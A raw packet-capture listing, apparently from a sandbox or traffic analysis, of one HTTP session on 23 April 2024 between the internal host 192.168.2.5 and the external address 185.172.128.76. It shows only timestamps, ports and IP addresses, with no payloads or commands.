Apr 23, 2024 09:33:03.656516075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656519890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656550884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656557083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656588078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656593084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656629086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656636000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656666994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656668901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656702995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656711102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656738043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656745911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656774044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656780958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656812906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656821012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656848907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656853914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656884909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656889915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656922102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656925917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656959057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656960964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656997919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657004118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657032967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657037973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657071114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657073975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657108068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657116890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657144070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657145977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657182932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657186985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657218933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657223940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657253981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657259941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657289028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657294035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657325029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657330990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657361984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657366037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657398939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657402039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657433987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657438993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657469988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657474041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657505035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657510042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657541990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657545090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657579899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657584906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657617092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657619953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657653093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657656908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657689095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657695055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657725096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657730103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657762051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657767057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657798052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657802105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657834053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657836914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657869101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657876015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657905102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657908916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657942057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657943964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.657978058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.657984018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658014059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658019066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658051968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658055067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658087015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658092976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658123016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658127069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658159971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658163071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658196926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658201933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658231974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658231974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658267021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658272982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658303022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658309937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658339024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658344984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658375978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658380032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658411980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658415079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658448935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658452034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658485889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658492088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658524990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658528090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658561945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658566952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658597946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658602953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658633947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658638000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658670902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658675909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658706903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658713102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658742905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658750057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658780098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658785105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658817053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.658819914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.658857107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.702017069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.702214956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.703680038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.703736067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707346916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707389116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707401991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707427979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707432985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707464933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707474947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707501888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707535028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707540035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707561970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707585096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707586050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707632065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707643032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707679987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707688093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707715988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707736015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707751989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707766056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707788944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707807064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707824945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707834959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707863092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707873106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707899094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707902908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707933903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707938910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.707971096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.707978010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708008051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708020926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708043098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708055019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708077908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708091021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708126068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708148003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708183050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708200932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708221912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708223104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708256960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708267927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708292961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708302021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708328009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708342075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708363056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708363056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708399057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708410025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708435059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708445072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708478928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708479881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708518982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708524942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708560944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708573103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708599091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708606005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708636045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708645105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708672047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708683014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708709002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708718061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708745003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708755016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708784103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708791018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708822966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708833933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708858013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708868980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708894014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708901882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708929062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708935022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.708964109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.708975077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709002972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709012985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709038019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709047079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709073067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709083080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709109068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709120989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709144115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709156036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709182024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709187031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709218025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709223986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709254026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709264040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709290028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709300995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709326029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709335089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709363937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709373951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709399939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709408998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709434986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709445000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709479094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709482908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709517002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709525108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709553003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709568024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709589005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709593058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709624052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709638119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709661961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709671974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709697962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709709883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709733963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709743023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709769964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709779024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709805012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709814072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709841013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709851027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709876060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709886074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709911108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709919930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709949970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709955931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.709985971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.709995985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710021019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710031033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710057020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710066080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710093021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710102081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710128069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710139990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710164070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710169077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710199118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710207939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710237026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710247993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710272074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710282087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710308075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710318089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710345030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710350037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710397005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710406065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710434914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710443020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710469961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710479975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710505962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710515022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710541010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710556030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710581064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710588932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710616112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710625887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710654020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710660934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710690022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710702896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710726976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710731030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710763931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710772038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710799932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710810900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710836887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.710845947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.710882902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752640963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752702951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752743006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752778053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752815008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752851009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752886057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752893925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752895117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752895117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752922058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752934933 CEST	49704	80	192.168.2.5	185.172.128.76
